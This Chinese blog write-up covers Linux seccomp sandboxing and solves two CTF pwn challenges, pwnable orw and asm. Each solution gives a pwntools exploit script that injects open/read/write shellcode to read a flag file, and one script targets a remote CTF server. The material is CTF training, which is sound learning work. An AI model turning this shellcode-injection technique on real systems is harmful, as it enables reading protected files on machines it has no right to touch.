pwn 之 沙箱机制

0x00: 简介

       沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。

        安全计算模式seccompSecure Computing Mode)在Linux2.6.10之后引入到kernel的特性,可用其实现一个沙箱环境。使用seccomp模式可以定义系统调用白名单和黑名单。seccomp机制用于限制应用程序可以使用的系统调用,增加系统的安全性。

ctf中主要通过两种方式实现沙箱机制:

  • prctl系统调用;
  • seccomp库函数;

 

0x01: 函数限制检测工具seccomp-tools

安装:

sudo apt install gcc ruby-dev

sudo gem install seccomp-tools

 使用:

 

 

0x02: 例题实践

Pwnable_orw:

通过checksec可以看出其架构,远程的也是这个。

如果使用shellcraftasm模块,要配置相对应的架构,可以通过context.binary = “./xxx”自动地完成配置。

 

 

seccomp-tools dump ./orw检查受限函数:

允许的函数主要有openreadwrite系统调用函数,用这个函数读取flag

 

 

 

32位的IDA打开进行分析:

没有数据段不可执行保护,所以直接往bss里面写shellcode就可以了。通过shellcode写入后,后面第6行就进行执行了。

 

Exp: from pwn import * context.log_level = "debug" context.binary = "./orw"  io = process("./orw") #io = remote("node4.buuoj.cn",27178) bss = 0x804A060  payload = shellcraft.open("flag") payload += shellcraft.read(3,bss + 100, 100) payload += shellcraft.write(1,bss + 100, 100)
io.recvuntil(
"Give my your shellcode:") io.sendline(asm(payload)) print(io.recv())

 

Pwnable_asm:

先用checksec工具检查架构和其保护机制,然后使用seccomp-tools工具检查受限制函数(这步是在打开IDA后,看到sandbox函数后进行的)。

 

 

从图可以看出,仅被允许的系统调用有:read()write()open()exit()。(这个在IDA的注释里面也有说明~

 

64IDA打开分析程序:

 

 

函数分析:

  • 12行用mmap映射了一段0x1000B大小的匿名空间,起始地址为s = 0x41414000
  • 13行将开辟的空间用144进行初始化,144是啥?0x90。根据注释说是用shellcode解法,应该是制作了nop滑梯。
  • 15行将stub数组赋给了匿名空间前段,stud是啥?由于ida中该数组的值显示有点零散,所以我就在pwnable网站查看了源代码:stud[46] = “/x48/x31/xc0/x48/x31/xdb/x48/x31/xc9/x48/x31/xd2/x48/x31/xf6/x48/x31/xff/x48”,反汇编:(其实就是清空寄存器,好像不影响写入shellcode
  • 17行接着向后面输入数据,关键点:写入我们想要shellcode进行执行。
  • 19chroot(directory):将该进程的根目录改为directory。可以防止我们找不到远程中的路径,我们直接open(“./flag”)就行。
  • 20sandbox开沙箱机制嘛~
  • 21行应该是ida分析有误,源代码是没有参数的:((void (*)(void))s)();就是从s那里开始执行。

 

分析完程序,已经很明显了,和上一题一样。通过17行写入shellcode,然后21行会进行执行。

Exp:  from pwn import * context.log_level = 'debug' context.binary = './asm' #io = process("./asm") io = remote("node4.buuoj.cn",26533)  addr = 0x41414000 + 0x100 payload = shellcraft.open("flag") payload += shellcraft.read(3, addr, 0x30) payload += shellcraft.write(1,addr, 0x30)  io.recvuntil("give me your x64 shellcode: ") io.sendline(asm(payload)) print(io.recv())

 

0x03: 最后

初步接触,有些地方没思考得太透。所以,有疑惑的朋友可以在评论区提出,互相交流学习。


 

tolele

2022-04-25

 

商匡云商
Logo
注册新帐户
对比商品
  • 合计 (0)
对比
0
购物车